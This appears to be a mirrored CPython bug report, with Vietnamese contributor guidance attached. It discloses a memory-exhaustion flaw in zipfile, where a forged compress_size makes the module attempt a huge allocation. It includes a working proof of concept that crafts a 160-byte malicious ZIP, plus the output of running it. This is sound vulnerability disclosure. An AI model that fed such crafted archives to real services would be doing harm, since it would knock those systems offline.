Memory Exhaustion in zipfile via Forged compress_size
Chưa có ai nhận issue này.
- Ngôn ngữ chính
- Python
- Star
- 77.2k
- Fork
- 35.9k
- Chỉ số merge pull request
- Chỉ số pull request đang chờ
Mô tả
Bug report
Bug description:
Summary
A short ZIP file forces Python's zipfile module to attempt a ~2 GiB heap allocation.
Details
ZipExtFile._read2() passes a user-controlled compress_size from the central directory to self._fileobj.read(n). On 3.14 builds, ZipExtFile.MAX_N caps a single request at 1 GiB. On 3.15, this was corrected to (1 << 31) - 1 = ~2 GiB. A 160-byte crafted ZIP claiming compress_size=0xFFFFFFFE triggers a ~1 GiB (3.14) or ~2 GiB (3.15) allocation attempt.
Note: The overlap check is bypassed using two CD entries with the same filename and header_offset=0, the first entry (forged sizes) gets _end_offset == header_offset, triggering only a warning.
Reproducer
"""
Memory exhaustion in zipfile via crafted compress_size field.
"""
import resource
import struct
import sys
import tempfile
import zipfile
CLAIMED_SIZE = 0xFFFF_FFFE
MEM_LIMIT = 256 * 1024 * 1024 # 256 MiB
def craft_malicious_zip(claimed_compress_size: int) -> bytes:
"""
Build a minimal valid ZIP with two CD entries.
"""
filename = b"a.txt"
file_data = b"x"
real_size = len(file_data)
local_header = struct.pack(
"<4s2B4HL2L2H",
b"PK\x03\x04",
20, 0, 0, 0, 0, 0, 0,
real_size, real_size,
len(filename), 0,
)
cd_offset = len(local_header) + len(filename) + len(file_data)
cd_entry_forged = struct.pack(
"<4s4B4HL2L5H2L",
b"PK\x01\x02",
20, 0, 20, 0,
0, 0, 0, 0, 0,
claimed_compress_size,
claimed_compress_size,
len(filename),
0, 0, 0, 0, 0,
0,
)
cd_entry_normal = struct.pack(
"<4s4B4HL2L5H2L",
b"PK\x01\x02",
20, 0, 20, 0,
0, 0, 0, 0, 0,
real_size,
real_size,
len(filename),
0, 0, 0, 0, 0,
0,
)
real_cd_size = (
len(cd_entry_forged) + len(filename)
+ len(cd_entry_normal) + len(filename)
)
eocd = struct.pack(
"<4s4H2LH",
b"PK\x05\x06",
0, 0, 2, 2,
real_cd_size, cd_offset, 0,
)
return (
local_header + filename + file_data
+ cd_entry_forged + filename
+ cd_entry_normal + filename
+ eocd
)
def main():
malicious_zip = craft_malicious_zip(CLAIMED_SIZE)
with tempfile.NamedTemporaryFile(suffix=".zip") as tmp:
tmp.write(malicious_zip)
tmp.flush()
try:
with zipfile.ZipFile(tmp.name, "r") as zf:
forged = zf.filelist[0]
with zf.open(forged) as f:
f.read()
except MemoryError:
print(
f"MemoryError from {len(malicious_zip)}-byte ZIP "
f"with compress_size={CLAIMED_SIZE:,}"
)
sys.exit(0)
except Exception:
print("BLOCKED: zipfile rejected forged compress_size")
sys.exit(1)
print("BLOCKED: no allocation error raised")
sys.exit(1)
if __name__ == "__main__":
resource.setrlimit(resource.RLIMIT_AS, (MEM_LIMIT, MEM_LIMIT))
main()
Due to how RLIMIT works, that's better to run the poc in a container.
❯ docker run --rm -v "$(pwd)":/work -w /work python:3.14-slim python poc.py
/work/poc.py:92: UserWarning: Overlapped entries: 'a.txt' (possible zip bomb)
with zf.open(forged) as f:
MemoryError from 160-byte ZIP with compress_size=4,294,967,294
Impact
Memory Exhaustion
Linked issues
https://github.com/python/cpython/issues/141713
/cc @serhiy-storchaka
CPython versions tested on:
3.15
Operating systems tested on:
macOS, Linux
Linked PRs
- gh-151509
Hướng dẫn đóng góp
Bắt đầu từ đâu
- Đọc hết issue, rồi đọc hướng dẫn đóng góp của dự án.
- Bình luận trên issue rằng bạn sẽ nhận — tránh hai người làm cùng một việc.
- Fork repository và làm thay đổi trên một nhánh.
- Mở pull request có tham chiếu số hiệu của issue.
Hướng nghiên cứu
Bắt đầu từ ZipExtFile._read2() trong mô-đun zipfile và tái hiện hành vi bằng ZIP được tạo sẵn đã cung cấp trong giới hạn bộ nhớ nêu trên. Xem lại issue 141713 và pull request gh-151509 để nắm hướng hiện tại. Công việc được xem là hoàn tất khi compress_size giả mạo không còn gây ra việc cấp phát lớn hoặc cạn kiệt bộ nhớ như đã minh họa.
Do mô hình lập chỉ mục viết ra từ nội dung của issue.
Đánh giá
- Công nghệ
- python
- Lĩnh vực
- security
- Loại issue
- Lỗi
- Độ khó
- 4/5
- Thời gian dự kiến
- 3-5 ngày
- Mức độ hoạt động
- Đình trệ
- Độ rõ ràng
- Khá rõ ràng
- Mức phù hợp với người mới
- 25/100